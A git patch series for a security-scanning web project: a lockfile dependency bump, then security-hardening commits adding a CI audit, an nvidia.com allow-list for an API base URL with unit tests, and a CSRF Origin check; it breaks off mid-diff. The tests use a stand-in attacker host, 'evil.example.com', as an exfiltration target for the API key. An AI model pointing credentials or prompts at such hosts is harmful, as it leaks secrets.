sha512-qSVyDTeMotdvQYoHWLNGwRFJHC+i+ZvdBRYosOFgC+Wg1vx4frN2/RG/NA7SYqqvKNLf39P2LSRA2pu6n0XYZA==} engines: {node: '>= 12.0.0'} @@ -3598,10 +3597,6 @@ packages: resolution: {integrity: sha512-o5sSPKEkg/DIQNmH43V0/uerLrpzVedkUh8tGNvaeXpfpuwjKenlSox/2O/BTlZUtEe+JG7s5YhEz608PlAHRA==} engines: {node: '>=0.6'} - token-types@4.2.1: - resolution: {integrity: sha512-6udB24Q737UD/SDsKAHI9FCRP7Bqc9D/MQUV02ORQg5iskjtLJlZJNdN4kKtcdtwCeWIwIHDGaUsTsCCAa8sFQ==} - engines: {node: '>=10'} - token-types@6.1.2: resolution: {integrity: sha512-dRXchy+C0IgK8WPC6xvCHFRIWYUbqqdEIKPaKo/AcTUNzwLTK6AH7RjdLWsEZcAN/TBdtfUw3PYEgPr5VPr6ww==} engines: {node: '>=14.16'} @@ -3706,11 +3701,11 @@ packages: unrs-resolver@1.12.2: resolution: {integrity: sha512-dmlRxBJJayXjqTwC+JtF1HhJmgf3ftQ3YejFcZrf4+KKtJv0qDsK1pjqaaVjG7wJ5NJ6UVP1OqRMQ71Z4C3rxQ==} - update-browserslist-db@1.2.3: - resolution: {integrity: sha512-Js0m9cx+qOgDxo0eMiFGEueWztz+d4+M3rGlmKPT+T4IS/jP4ylw3Nwpu6cpTTP8R1MAC1kF4VbdLt3ARf209w==} + update-browserslist-db@1.3.2: + resolution: {integrity: sha512-UQ+MSxlhRm1bzjhU+DcuXfjFO1FzNtqhK5+9Yvlp90ItDLk5vT932A0rFu619nf7RVS+Y/VeaUW1jaRDqZ8VJw==} hasBin: true peerDependencies: - browserslist: '>= 4.21.0' + browserslist: '>=4.28.7' uri-js@4.4.1: resolution: {integrity: sha512-7rKUyy33Q1yc98pQ1DAmLtwX109F7TIfWlW1Ydo8Wl1ii1SeHieeh0HHfPeL2fMXK6z0s8ecKs9frCuLJvndBg==} @@ -3979,7 +3974,7 @@ snapshots: is-potential-custom-element-name: 1.0.1 lru-cache: 11.5.2 - '@attack-surface-studio/server@file:../server(@types/react@19.2.17)(react@19.2.4)': + '@attack-surface-studio/server@file:../server': dependencies: '@nestjs/common': 10.4.22(reflect-metadata@0.2.2)(rxjs@7.8.2) '@nestjs/config': 3.3.0(@nestjs/common@10.4.22(reflect-metadata@0.2.2)(rxjs@7.8.2))(rxjs@7.8.2) @@ -3991,9 +3986,9 @@ snapshots: bullmq: 6.3.1(ioredis@6.0.0)(pg@8.22.0) dockerode: 5.0.1 dotenv: 16.6.1 - drizzle-orm: 0.36.4(@types/react@19.2.17)(pg@8.22.0)(react@19.2.4) + drizzle-orm: 0.45.2(pg@8.22.0) fast-xml-parser: 5.11.0 - file-type: 16.5.4 + file-type: 21.3.4 helmet: 8.3.0 ioredis: 6.0.0 multer: 2.2.0 @@ -4020,8 +4015,8 @@ snapshots: - '@tidbcloud/serverless' - '@types/better-sqlite3' - '@types/pg' - - '@types/react' - '@types/sql.js' + - '@upstash/redis' - '@vercel/postgres' - '@xata.io/client' - better-sqlite3 @@ -4031,13 +4026,13 @@ snapshots: - class-validator - encoding - expo-sqlite + - gel - knex - kysely - mysql2 - pg-native - postgres - prisma - - react - redis - sql.js - sqlite3 @@ -4084,7 +4079,7 @@ snapshots: dependencies: '@babel/compat-data': 7.29.7 '@babel/helper-validator-option': 7.29.7 - browserslist: 4.28.6 + browserslist: 4.28.9 lru-cache: 5.1.1 semver: 6.3.1 @@ -4191,7 +4186,7 @@ snapshots: tslib: 2.8.1 optional: true - '@emnapi/runtime@1.11.2': + '@emnapi/runtime@1.11.3': dependencies: tslib: 2.8.1 optional: true @@ -4291,98 +4286,108 @@ snapshots: '@img/colour@1.1.0': optional: true - '@img/sharp-darwin-arm64@0.34.5': + '@img/sharp-darwin-arm64@0.35.4': optionalDependencies: - '@img/sharp-libvips-darwin-arm64': 1.2.4 + '@img/sharp-libvips-darwin-arm64': 1.3.3 optional: true - '@img/sharp-darwin-x64@0.34.5': + '@img/sharp-darwin-x64@0.35.4': optionalDependencies: - '@img/sharp-libvips-darwin-x64': 1.2.4 + '@img/sharp-libvips-darwin-x64': 1.3.3 + optional: true + + '@img/sharp-freebsd-wasm32@0.35.4': + dependencies: + '@img/sharp-wasm32': 0.35.4 optional: true - '@img/sharp-libvips-darwin-arm64@1.2.4': + '@img/sharp-libvips-darwin-arm64@1.3.3': optional: true - '@img/sharp-libvips-darwin-x64@1.2.4': + '@img/sharp-libvips-darwin-x64@1.3.3': optional: true - '@img/sharp-libvips-linux-arm64@1.2.4': + '@img/sharp-libvips-linux-arm64@1.3.3': optional: true - '@img/sharp-libvips-linux-arm@1.2.4': + '@img/sharp-libvips-linux-arm@1.3.3': optional: true - '@img/sharp-libvips-linux-ppc64@1.2.4': + '@img/sharp-libvips-linux-ppc64@1.3.3': optional: true - '@img/sharp-libvips-linux-riscv64@1.2.4': + '@img/sharp-libvips-linux-riscv64@1.3.3': optional: true - '@img/sharp-libvips-linux-s390x@1.2.4': + '@img/sharp-libvips-linux-s390x@1.3.3': optional: true - '@img/sharp-libvips-linux-x64@1.2.4': + '@img/sharp-libvips-linux-x64@1.3.3': optional: true - '@img/sharp-libvips-linuxmusl-arm64@1.2.4': + '@img/sharp-libvips-linuxmusl-arm64@1.3.3': optional: true - '@img/sharp-libvips-linuxmusl-x64@1.2.4': + '@img/sharp-libvips-linuxmusl-x64@1.3.3': optional: true - '@img/sharp-linux-arm64@0.34.5': + '@img/sharp-linux-arm64@0.35.4': optionalDependencies: - '@img/sharp-libvips-linux-arm64': 1.2.4 + '@img/sharp-libvips-linux-arm64': 1.3.3 optional: true - '@img/sharp-linux-arm@0.34.5': + '@img/sharp-linux-arm@0.35.4': optionalDependencies: - '@img/sharp-libvips-linux-arm': 1.2.4 + '@img/sharp-libvips-linux-arm': 1.3.3 optional: true - '@img/sharp-linux-ppc64@0.34.5': + '@img/sharp-linux-ppc64@0.35.4': optionalDependencies: - '@img/sharp-libvips-linux-ppc64': 1.2.4 + '@img/sharp-libvips-linux-ppc64': 1.3.3 optional: true - '@img/sharp-linux-riscv64@0.34.5': + '@img/sharp-linux-riscv64@0.35.4': optionalDependencies: - '@img/sharp-libvips-linux-riscv64': 1.2.4 + '@img/sharp-libvips-linux-riscv64': 1.3.3 optional: true - '@img/sharp-linux-s390x@0.34.5': + '@img/sharp-linux-s390x@0.35.4': optionalDependencies: - '@img/sharp-libvips-linux-s390x': 1.2.4 + '@img/sharp-libvips-linux-s390x': 1.3.3 optional: true - '@img/sharp-linux-x64@0.34.5': + '@img/sharp-linux-x64@0.35.4': optionalDependencies: - '@img/sharp-libvips-linux-x64': 1.2.4 + '@img/sharp-libvips-linux-x64': 1.3.3 optional: true - '@img/sharp-linuxmusl-arm64@0.34.5': + '@img/sharp-linuxmusl-arm64@0.35.4': optionalDependencies: - '@img/sharp-libvips-linuxmusl-arm64': 1.2.4 + '@img/sharp-libvips-linuxmusl-arm64': 1.3.3 optional: true - '@img/sharp-linuxmusl-x64@0.34.5': + '@img/sharp-linuxmusl-x64@0.35.4': optionalDependencies: - '@img/sharp-libvips-linuxmusl-x64': 1.2.4 + '@img/sharp-libvips-linuxmusl-x64': 1.3.3 optional: true - '@img/sharp-wasm32@0.34.5': + '@img/sharp-wasm32@0.35.4': dependencies: - '@emnapi/runtime': 1.11.2 + '@emnapi/runtime': 1.11.3 optional: true - '@img/sharp-win32-arm64@0.34.5': + '@img/sharp-webcontainers-wasm32@0.35.4': + dependencies: + '@img/sharp-wasm32': 0.35.4 + optional: true + + '@img/sharp-win32-arm64@0.35.4': optional: true - '@img/sharp-win32-ia32@0.34.5': + '@img/sharp-win32-ia32@0.35.4': optional: true - '@img/sharp-win32-x64@0.34.5': + '@img/sharp-win32-x64@0.35.4': optional: true '@ioredis/commands@2.0.0': {} @@ -4494,34 +4499,34 @@ snapshots: '@nestjs/core': 10.4.22(@nestjs/common@10.4.22(reflect-metadata@0.2.2)(rxjs@7.8.2))(@nestjs/platform-express@10.4.22)(reflect-metadata@0.2.2)(rxjs@7.8.2) reflect-metadata: 0.2.2 - '@next/env@16.2.10': {} + '@next/env@16.3.4': {} '@next/eslint-plugin-next@16.2.10': dependencies: fast-glob: 3.3.1 - '@next/swc-darwin-arm64@16.2.10': + '@next/swc-darwin-arm64@16.3.4': optional: true - '@next/swc-darwin-x64@16.2.10': + '@next/swc-darwin-x64@16.3.4': optional: true - '@next/swc-linux-arm64-gnu@16.2.10': + '@next/swc-linux-arm64-gnu@16.3.4': optional: true - '@next/swc-linux-arm64-musl@16.2.10': + '@next/swc-linux-arm64-musl@16.3.4': optional: true - '@next/swc-linux-x64-gnu@16.2.10': + '@next/swc-linux-x64-gnu@16.3.4': optional: true - '@next/swc-linux-x64-musl@16.2.10': + '@next/swc-linux-x64-musl@16.3.4': optional: true - '@next/swc-win32-arm64-msvc@16.2.10': + '@next/swc-win32-arm64-msvc@16.3.4': optional: true - '@next/swc-win32-x64-msvc@16.2.10': + '@next/swc-win32-x64-msvc@16.3.4': optional: true '@noble/ciphers@1.3.0': {} @@ -4637,6 +4642,10 @@ snapshots: dependencies: tslib: 2.8.1 + '@swc/helpers@0.5.23': + dependencies: + tslib: 2.8.1 + '@tailwindcss/node@4.3.3': dependencies: '@jridgewell/remapping': 2.3.5 @@ -4758,6 +4767,13 @@ snapshots: transitivePeerDependencies: - supports-color + '@tokenizer/inflate@0.4.1': + dependencies: + debug: 4.4.3 + token-types: 6.1.2 + transitivePeerDependencies: + - supports-color + '@tokenizer/token@0.3.0': {} '@tybys/wasm-util@0.10.3': @@ -5237,6 +5253,8 @@ snapshots: baseline-browser-mapping@2.10.43: {} + baseline-browser-mapping@2.11.21: {} + bcrypt-pbkdf@1.0.2: dependencies: tweetnacl: 0.14.5 @@ -5285,13 +5303,13 @@ snapshots: dependencies: base64-js: 1.5.1 - browserslist@4.28.6: + browserslist@4.28.9: dependencies: - baseline-browser-mapping: 2.10.43 - caniuse-lite: 1.0.30001806 - electron-to-chromium: 1.5.393 - node-releases: 2.0.51 - update-browserslist-db: 1.2.3(browserslist@4.28.6) + baseline-browser-mapping: 2.11.21 + caniuse-lite: 1.0.30001810 + electron-to-chromium: 1.5.422 + node-releases: 2.0.54 + update-browserslist-db: 1.3.2(browserslist@4.28.9) buffer-equal-constant-time@1.0.1: {} @@ -5302,11 +5320,6 @@ snapshots: base64-js: 1.5.1 ieee754: 1.2.1 - buffer@6.0.3: - dependencies: - base64-js: 1.5.1 - ieee754: 1.2.1 - buildcheck@0.0.7: optional: true @@ -5348,6 +5361,8 @@ snapshots: caniuse-lite@1.0.30001806: {} + caniuse-lite@1.0.30001810: {} + chai@6.2.2: {} chalk@4.1.2: @@ -5592,11 +5607,9 @@ snapshots: dotenv@16.6.1: {} - drizzle-orm@0.36.4(@types/react@19.2.17)(pg@8.22.0)(react@19.2.4): + drizzle-orm@0.45.2(pg@8.22.0): optionalDependencies: - '@types/react': 19.2.17 pg: 8.22.0 - react: 19.2.4 dunder-proto@1.0.1: dependencies: @@ -5610,7 +5623,7 @@ snapshots: ee-first@1.1.1: {} - electron-to-chromium@1.5.393: {} + electron-to-chromium@1.5.422: {} emoji-regex@8.0.0: {} @@ -5961,8 +5974,6 @@ snapshots: event-target-shim@5.0.1: {} - events@3.3.0: {} - expect-type@1.4.0: {} express@4.22.1: @@ -6045,12 +6056,6 @@ snapshots: dependencies: flat-cache: 4.0.1 - file-type@16.5.4: - dependencies: - readable-web-to-node-stream: 3.0.4 - strtok3: 6.3.0 - token-types: 4.2.1 - file-type@20.4.1: dependencies: '@tokenizer/inflate': 0.2.7 @@ -6060,6 +6065,15 @@ snapshots: transitivePeerDependencies: - supports-color + file-type@21.3.4: + dependencies: + '@tokenizer/inflate': 0.4.1 + strtok3: 10.3.5 + token-types: 6.1.2 + uint8array-extras: 1.5.0 + transitivePeerDependencies: + - supports-color + fill-range@7.1.1: dependencies: to-regex-range: 5.0.1 @@ -6797,8 +6811,6 @@ snapshots: nan@2.28.0: optional: true - nanoid@3.3.16: {} - nanoid@3.3.18: {} napi-postinstall@0.3.4: {} @@ -6807,29 +6819,30 @@ snapshots: negotiator@0.6.3: {} - next@16.2.10(@babel/core@7.29.7)(@playwright/test@1.62.1)(react-dom@19.2.4(react@19.2.4))(react@19.2.4): + next@16.3.4(@babel/core@7.29.7)(@playwright/test@1.62.1)(@types/node@20.19.43)(react-dom@19.2.4(react@19.2.4))(react@19.2.4): dependencies: - '@next/env': 16.2.10 - '@swc/helpers': 0.5.15 + '@next/env': 16.3.4 + '@swc/helpers': 0.5.23 baseline-browser-mapping: 2.10.43 caniuse-lite: 1.0.30001806 - postcss: 8.4.31 + postcss: 8.5.26 react: 19.2.4 react-dom: 19.2.4(react@19.2.4) styled-jsx: 5.1.6(@babel/core@7.29.7)(react@19.2.4) optionalDependencies: - '@next/swc-darwin-arm64': 16.2.10 - '@next/swc-darwin-x64': 16.2.10 - '@next/swc-linux-arm64-gnu': 16.2.10 - '@next/swc-linux-arm64-musl': 16.2.10 - '@next/swc-linux-x64-gnu': 16.2.10 - '@next/swc-linux-x64-musl': 16.2.10 - '@next/swc-win32-arm64-msvc': 16.2.10 - '@next/swc-win32-x64-msvc': 16.2.10 + '@next/swc-darwin-arm64': 16.3.4 + '@next/swc-darwin-x64': 16.3.4 + '@next/swc-linux-arm64-gnu': 16.3.4 + '@next/swc-linux-arm64-musl': 16.3.4 + '@next/swc-linux-x64-gnu': 16.3.4 + '@next/swc-linux-x64-musl': 16.3.4 + '@next/swc-win32-arm64-msvc': 16.3.4 + '@next/swc-win32-x64-msvc': 16.3.4 '@playwright/test': 1.62.1 - sharp: 0.34.5 + sharp: 0.35.4(@types/node@20.19.43) transitivePeerDependencies: - '@babel/core' + - '@types/node' - babel-plugin-macros node-abort-controller@3.1.1: {} @@ -6856,7 +6869,7 @@ snapshots: node-gyp-build@4.8.4: {} - node-releases@2.0.51: {} + node-releases@2.0.54: {} object-assign@4.1.1: {} @@ -6984,8 +6997,6 @@ snapshots: linebreak: 1.1.0 png-js: 2.0.0 - peek-readable@4.1.0: {} - pg-cloudflare@1.4.0: optional: true @@ -7061,15 +7072,9 @@ snapshots: possible-typed-array-names@1.1.0: {} - postcss@8.4.31: - dependencies: - nanoid: 3.3.16 - picocolors: 1.1.1 - source-map-js: 1.2.1 - postcss@8.5.19: dependencies: - nanoid: 3.3.16 + nanoid: 3.3.18 picocolors: 1.1.1 source-map-js: 1.2.1 @@ -7099,8 +7104,6 @@ snapshots: process-warning@5.1.0: {} - process@0.11.10: {} - prop-types@15.8.1: dependencies: loose-envify: 1.4.0 @@ -7167,18 +7170,6 @@ snapshots: string_decoder: 1.3.0 util-deprecate: 1.0.2 - readable-stream@4.7.0: - dependencies: - abort-controller: 3.0.0 - buffer: 6.0.3 - events: 3.3.0 - process: 0.11.10 - string_decoder: 1.3.0 - - readable-web-to-node-stream@3.0.4: - dependencies: - readable-stream: 4.7.0 - real-require@0.2.0: {} redent@3.0.0: @@ -7346,36 +7337,38 @@ snapshots: setprototypeof@1.2.0: {} - sharp@0.34.5: + sharp@0.35.4(@types/node@20.19.43): dependencies: '@img/colour': 1.1.0 detect-libc: 2.1.2 semver: 7.8.5 optionalDependencies: - '@img/sharp-darwin-arm64': 0.34.5 - '@img/sharp-darwin-x64': 0.34.5 - '@img/sharp-libvips-darwin-arm64': 1.2.4 - '@img/sharp-libvips-darwin-x64': 1.2.4 - '@img/sharp-libvips-linux-arm': 1.2.4 - '@img/sharp-libvips-linux-arm64': 1.2.4 - '@img/sharp-libvips-linux-ppc64': 1.2.4 - '@img/sharp-libvips-linux-riscv64': 1.2.4 - '@img/sharp-libvips-linux-s390x': 1.2.4 - '@img/sharp-libvips-linux-x64': 1.2.4 - '@img/sharp-libvips-linuxmusl-arm64': 1.2.4 - '@img/sharp-libvips-linuxmusl-x64': 1.2.4 - '@img/sharp-linux-arm': 0.34.5 - '@img/sharp-linux-arm64': 0.34.5 - '@img/sharp-linux-ppc64': 0.34.5 - '@img/sharp-linux-riscv64': 0.34.5 - '@img/sharp-linux-s390x': 0.34.5 - '@img/sharp-linux-x64': 0.34.5 - '@img/sharp-linuxmusl-arm64': 0.34.5 - '@img/sharp-linuxmusl-x64': 0.34.5 - '@img/sharp-wasm32': 0.34.5 - '@img/sharp-win32-arm64': 0.34.5 - '@img/sharp-win32-ia32': 0.34.5 - '@img/sharp-win32-x64': 0.34.5 + '@img/sharp-darwin-arm64': 0.35.4 + '@img/sharp-darwin-x64': 0.35.4 + '@img/sharp-freebsd-wasm32': 0.35.4 + '@img/sharp-libvips-darwin-arm64': 1.3.3 + '@img/sharp-libvips-darwin-x64': 1.3.3 + '@img/sharp-libvips-linux-arm': 1.3.3 + '@img/sharp-libvips-linux-arm64': 1.3.3 + '@img/sharp-libvips-linux-ppc64': 1.3.3 + '@img/sharp-libvips-linux-riscv64': 1.3.3 + '@img/sharp-libvips-linux-s390x': 1.3.3 + '@img/sharp-libvips-linux-x64': 1.3.3 + '@img/sharp-libvips-linuxmusl-arm64': 1.3.3 + '@img/sharp-libvips-linuxmusl-x64': 1.3.3 + '@img/sharp-linux-arm': 0.35.4 + '@img/sharp-linux-arm64': 0.35.4 + '@img/sharp-linux-ppc64': 0.35.4 + '@img/sharp-linux-riscv64': 0.35.4 + '@img/sharp-linux-s390x': 0.35.4 + '@img/sharp-linux-x64': 0.35.4 + '@img/sharp-linuxmusl-arm64': 0.35.4 + '@img/sharp-linuxmusl-x64': 0.35.4 + '@img/sharp-webcontainers-wasm32': 0.35.4 + '@img/sharp-win32-arm64': 0.35.4 + '@img/sharp-win32-ia32': 0.35.4 + '@img/sharp-win32-x64': 0.35.4 + '@types/node': 20.19.43 optional: true shebang-command@2.0.0: @@ -7530,11 +7523,6 @@ snapshots: dependencies: '@tokenizer/token': 0.3.0 - strtok3@6.3.0: - dependencies: - '@tokenizer/token': 0.3.0 - peek-readable: 4.1.0 - styled-jsx@5.1.6(@babel/core@7.29.7)(react@19.2.4): dependencies: client-only: 0.0.1 @@ -7600,11 +7588,6 @@ snapshots: toidentifier@1.0.1: {} - token-types@4.2.1: - dependencies: - '@tokenizer/token': 0.3.0 - ieee754: 1.2.1 - token-types@6.1.2: dependencies: '@borewit/text-codec': 0.2.2 @@ -7751,9 +7734,9 @@ snapshots: '@unrs/resolver-binding-win32-ia32-msvc': 1.12.2 '@unrs/resolver-binding-win32-x64-msvc': 1.12.2 - update-browserslist-db@1.2.3(browserslist@4.28.6): + update-browserslist-db@1.3.2(browserslist@4.28.9): dependencies: - browserslist: 4.28.6 + browserslist: 4.28.9 escalade: 3.2.0 picocolors: 1.1.1 From bd05e26251e581c838faefb60809682291b62b98 Mon Sep 17 00:00:00 2001 From: Alexander Date: Sat, 5 Sep 2026 22:30:38 -0500 Subject: [PATCH 03/11] ci(security): add automated dependency vulnerability scanning (SEC-022) - Add a security:audit script (pnpm audit --prod --audit-level=high) to both server/package.json and client/package.json. - Add .github/workflows/security-audit.yml running both on push/PR to main. No CI existed at all before this commit; this is the minimum needed to satisfy SEC-022 ('automated dependency vuln scanning in CI'). Co-Authored-By: Claude Sonnet 5 --- .github/workflows/security-audit.yml | 50 ++++++++++++++++++++++++++++ client/package.json | 3 +- server/package.json | 3 +- 3 files changed, 54 insertions(+), 2 deletions(-) create mode 100644 .github/workflows/security-audit.yml diff --git a/.github/workflows/security-audit.yml b/.github/workflows/security-audit.yml new file mode 100644 index 0000000..c1e6caa --- /dev/null +++ b/.github/workflows/security-audit.yml @@ -0,0 +1,50 @@ +name: Security Audit + +# SEC-022: automated dependency vulnerability scanning. Runs `pnpm audit` +# against production dependencies for both workspaces on every push/PR so a +# newly disclosed high/critical advisory fails CI instead of going unnoticed. + +on: + push: + branches: [main] + pull_request: + branches: [main] + +jobs: + audit-server: + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@v4 + - uses: pnpm/action-setup@v4 + with: + version: 9.15.0 + - uses: actions/setup-node@v4 + with: + node-version: 22 + cache: pnpm + cache-dependency-path: server/pnpm-lock.yaml + - name: Install dependencies + working-directory: server + run: pnpm install --frozen-lockfile + - name: Audit production dependencies + working-directory: server + run: pnpm run security:audit + + audit-client: + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@v4 + - uses: pnpm/action-setup@v4 + with: + version: 9.15.0 + - uses: actions/setup-node@v4 + with: + node-version: 22 + cache: pnpm + cache-dependency-path: client/pnpm-lock.yaml + - name: Install dependencies + working-directory: client + run: pnpm install --frozen-lockfile + - name: Audit production dependencies + working-directory: client + run: pnpm run security:audit diff --git a/client/package.json b/client/package.json index 8f81263..0b77f5c 100644 --- a/client/package.json +++ b/client/package.json @@ -10,7 +10,8 @@ "test": "vitest run", "test:watch": "vitest", "test:coverage": "vitest run --coverage", - "e2e": "playwright test" + "e2e": "playwright test", + "security:audit": "pnpm audit --prod --audit-level=high" }, "dependencies": { "@tanstack/react-query": "^5.102.7", diff --git a/server/package.json b/server/package.json index 9696d2e..46b70a2 100644 --- a/server/package.json +++ b/server/package.json @@ -15,7 +15,8 @@ "start:worker:dev": "nest start --watch --entryFile worker-main", "lint": "eslint \"src/**/*.ts\" \"tests/**/*.ts\" \"scripts/**/*.ts\"", "test": "vitest run", - "test:coverage": "vitest run --coverage" + "test:coverage": "vitest run --coverage", + "security:audit": "pnpm audit --prod --audit-level=high" }, "dependencies": { "@nestjs/common": "^10.4.15", From a532727fc0084c06a1baa5d571dfd6f96e54efca Mon Sep 17 00:00:00 2001 From: Alexander Date: Sat, 5 Sep 2026 22:32:02 -0500 Subject: [PATCH 04/11] feat(server): restrict NVIDIA_API_BASE_URL to an nvidia.com allow-list (SEC-017) env.schema.ts previously validated NVIDIA_API_BASE_URL with a bare z.string().url(), so any host would pass -- a compromised or misconfigured deployment could point the AI Assistant's API key and every prompt/response at an arbitrary host. Add a superRefine restricting the hostname to nvidia.com or a *.nvidia.com subdomain, enforced only when NVIDIA_API_KEY is actually set so the existing 'optional feature still boots gracefully' contract (documented SEC-017 deviation) is preserved when the whole assistant feature is unconfigured. Deferred from Phase 11's security review to Phase 14 per Progress.md. Co-Authored-By: Claude Sonnet 5 --- server/src/core/config/env.schema.ts | 35 +++++++++++++++++++++++++++- 1 file changed, 34 insertions(+), 1 deletion(-) diff --git a/server/src/core/config/env.schema.ts b/server/src/core/config/env.schema.ts index 58ea1b1..bdcd4fe 100644 --- a/server/src/core/config/env.schema.ts +++ b/server/src/core/config/env.schema.ts @@ -1,10 +1,28 @@ import { z } from "zod"; +/** + * SEC-017 hardening: `NVIDIA_API_BASE_URL` is fed directly into the OpenAI-compatible client's + * `baseURL` (nvidia-llm.provider.ts). An operator-controlled env var is low risk, but an + * unrestricted `z.string().url()` would let a compromised or misconfigured deployment point the + * AI Assistant's API key and every prompt/response at an arbitrary host (SSRF/exfiltration). + * Restrict it to NVIDIA's own domain. + */ +const NVIDIA_API_BASE_URL_ALLOWED_HOST_SUFFIX = ".nvidia.com"; + +function isAllowedNvidiaApiBaseUrl(value: string): boolean { + try { + const { hostname } = new URL(value); + return hostname === "nvidia.com" || hostname.endsWith(NVIDIA_API_BASE_URL_ALLOWED_HOST_SUFFIX); + } catch { + return false; + } +} + /** * Fail-fast startup contract (BE-022, SEC-017): the process must refuse to boot rather than run * with an invalid or missing configuration value. */ -export const envSchema = z.object({ +const baseEnvSchema = z.object({ NODE_ENV: z.enum(["development", "test", "production"]).default("development"), PORT: z.coerce.number().int().positive().default(3000), DATABASE_URL: z.string().min(1, "DATABASE_URL is required"), @@ -49,6 +67,21 @@ export const envSchema = z.object({ NVIDIA_API_BASE_URL: z.string().url().default("https://integrate.api.nvidia.com/v1"), }); +/** + * The host allow-list only applies once the assistant feature is actually configured + * (`NVIDIA_API_KEY` set) -- preserving the "optional feature still boots gracefully" contract + * for the common case where the whole feature is unset (see NVIDIA_API_KEY's comment above). + */ +export const envSchema = baseEnvSchema.superRefine((config, ctx) => { + if (config.NVIDIA_API_KEY && !isAllowedNvidiaApiBaseUrl(config.NVIDIA_API_BASE_URL)) { + ctx.addIssue({ + code: z.ZodIssueCode.custom, + path: ["NVIDIA_API_BASE_URL"], + message: `NVIDIA_API_BASE_URL must be a *${NVIDIA_API_BASE_URL_ALLOWED_HOST_SUFFIX} host when NVIDIA_API_KEY is set`, + }); + } +}); + export type EnvConfig = z.infer; export function validateEnv(config: Record): EnvConfig { From 3bbbd18bf330559711b3740ae3fba266beefa9cf Mon Sep 17 00:00:00 2001 From: Alexander Date: Sat, 5 Sep 2026 22:32:10 -0500 Subject: [PATCH 05/11] test(server): cover NVIDIA_API_BASE_URL allow-list behavior Default URL passes with the key set, an off-allow-list host is rejected only when NVIDIA_API_KEY is present, the URL stays permissive when the key is unset (feature-disabled contract preserved), and any *.nvidia.com subdomain is accepted. Co-Authored-By: Claude Sonnet 5 --- server/tests/unit/env.schema.test.ts | 32 ++++++++++++++++++++++++++++ 1 file changed, 32 insertions(+) diff --git a/server/tests/unit/env.schema.test.ts b/server/tests/unit/env.schema.test.ts index 815fae2..be52f27 100644 --- a/server/tests/unit/env.schema.test.ts +++ b/server/tests/unit/env.schema.test.ts @@ -41,4 +41,36 @@ describe("validateEnv", () => { it("fails fast when NODE_ENV is not one of the known values", () => { expect(() => validateEnv({ ...REQUIRED_VARS, NODE_ENV: "staging" })).toThrow(); }); + + describe("NVIDIA_API_BASE_URL allow-list (SEC-017)", () => { + it("accepts the default URL when NVIDIA_API_KEY is set", () => { + const config = validateEnv({ ...REQUIRED_VARS, NVIDIA_API_KEY: "test-key" }); + expect(config.NVIDIA_API_BASE_URL).toBe("https://integrate.api.nvidia.com/v1"); + }); + + it("rejects an off-allow-list host when NVIDIA_API_KEY is set", () => { + expect(() => + validateEnv({ + ...REQUIRED_VARS, + NVIDIA_API_KEY: "test-key", + NVIDIA_API_BASE_URL: "https://evil.example.com/v1", + }), + ).toThrow(/NVIDIA_API_BASE_URL/); + }); + + it("stays valid with an off-allow-list host when NVIDIA_API_KEY is unset", () => { + const config = validateEnv({ ...REQUIRED_VARS, NVIDIA_API_BASE_URL: "https://evil.example.com/v1" }); + expect(config.NVIDIA_API_BASE_URL).toBe("https://evil.example.com/v1"); + expect(config.NVIDIA_API_KEY).toBeUndefined(); + }); + + it("accepts any subdomain of nvidia.com when NVIDIA_API_KEY is set", () => { + const config = validateEnv({ + ...REQUIRED_VARS, + NVIDIA_API_KEY: "test-key", + NVIDIA_API_BASE_URL: "https://build.nvidia.com/v1", + }); + expect(config.NVIDIA_API_BASE_URL).toBe("https://build.nvidia.com/v1"); + }); + }); }); From df0acd2cbd48a40aa19cd9aed5f2b8998ca5eebe Mon Sep 17 00:00:00 2001 From: Alexander Date: Sat, 5 Sep 2026 22:33:34 -0500 Subject: [PATCH 06/11] feat(client): add CSRF Origin-check guard to cookie-authenticated BFF routes (SEC-034) app/api/auth/refresh and app/api/auth/logout are the only two BFF routes that are both cookie-authenticated (read the httpOnly refresh_token cookie) and state-changing; the NestJS backend itself is bearer-token-only and isn't CSRF-exposed. SameSite=Lax on the cookie (auth-cookies.ts) is already a partial mitigation but doesn't cover every case, and no Origin/Referer check existed at all. Add lib/csrf.ts's assertTrustedOrigin(request), checking Origin (falling back to Referer) against the request's own origin and returning a 403 on mismatch. A request with neither header present is let through -- SameSite=Lax already covers that gap and rejecting risks breaking legitimate same-origin requests from clients that omit both headers. Wire it into both routes as an early return before any cookie/token logic. Co-Authored-By: Claude Sonnet 5 --- client/src/app/api/auth/logout/route.ts | 6 ++++ client/src/app/api/auth/refresh/route.ts | 6 ++++ client/src/lib/csrf.ts | 39 ++++++++++++++++++++++++ 3 files changed, 51 insertions(+) create mode 100644 client/src/lib/csrf.ts diff --git a/client/src/app/api/auth/logout/route.ts b/client/src/app/api/auth/logout/route.ts index d2bb797..1238b42 100644 --- a/client/src/app/api/auth/logout/route.ts +++ b/client/src/app/api/auth/logout/route.ts @@ -1,6 +1,7 @@ import { NextResponse, type NextRequest } from "next/server"; import { backendRequest } from "@/lib/backend-client"; import { REFRESH_TOKEN_COOKIE, clearRefreshTokenCookie } from "@/lib/auth-cookies"; +import { assertTrustedOrigin } from "@/lib/csrf"; /** * BFF logout endpoint. Invalidates the refresh token server-side (SEC-005) before clearing the @@ -12,6 +13,11 @@ import { REFRESH_TOKEN_COOKIE, clearRefreshTokenCookie } from "@/lib/auth-cookie * access token is available to authorize it. */ export async function POST(request: NextRequest): Promise { + const csrfRejection = assertTrustedOrigin(request); + if (csrfRejection) { + return csrfRejection; + } + const refreshToken = request.cookies.get(REFRESH_TOKEN_COOKIE)?.value; const authorization = request.headers.get("authorization") ?? undefined; diff --git a/client/src/app/api/auth/refresh/route.ts b/client/src/app/api/auth/refresh/route.ts index 89ff050..032aca2 100644 --- a/client/src/app/api/auth/refresh/route.ts +++ b/client/src/app/api/auth/refresh/route.ts @@ -1,6 +1,7 @@ import { NextResponse, type NextRequest } from "next/server"; import { backendRequest } from "@/lib/backend-client"; import { REFRESH_TOKEN_COOKIE, clearRefreshTokenCookie, setRefreshTokenCookie } from "@/lib/auth-cookies"; +import { assertTrustedOrigin } from "@/lib/csrf"; interface TokenPairBody { accessToken: string; @@ -14,6 +15,11 @@ interface TokenPairBody { * the token was invalid or already used. */ export async function POST(request: NextRequest): Promise { + const csrfRejection = assertTrustedOrigin(request); + if (csrfRejection) { + return csrfRejection; + } + const refreshToken = request.cookies.get(REFRESH_TOKEN_COOKIE)?.value; if (!refreshToken) { return NextResponse.json( diff --git a/client/src/lib/csrf.ts b/client/src/lib/csrf.ts new file mode 100644 index 0000000..51c1f70 --- /dev/null +++ 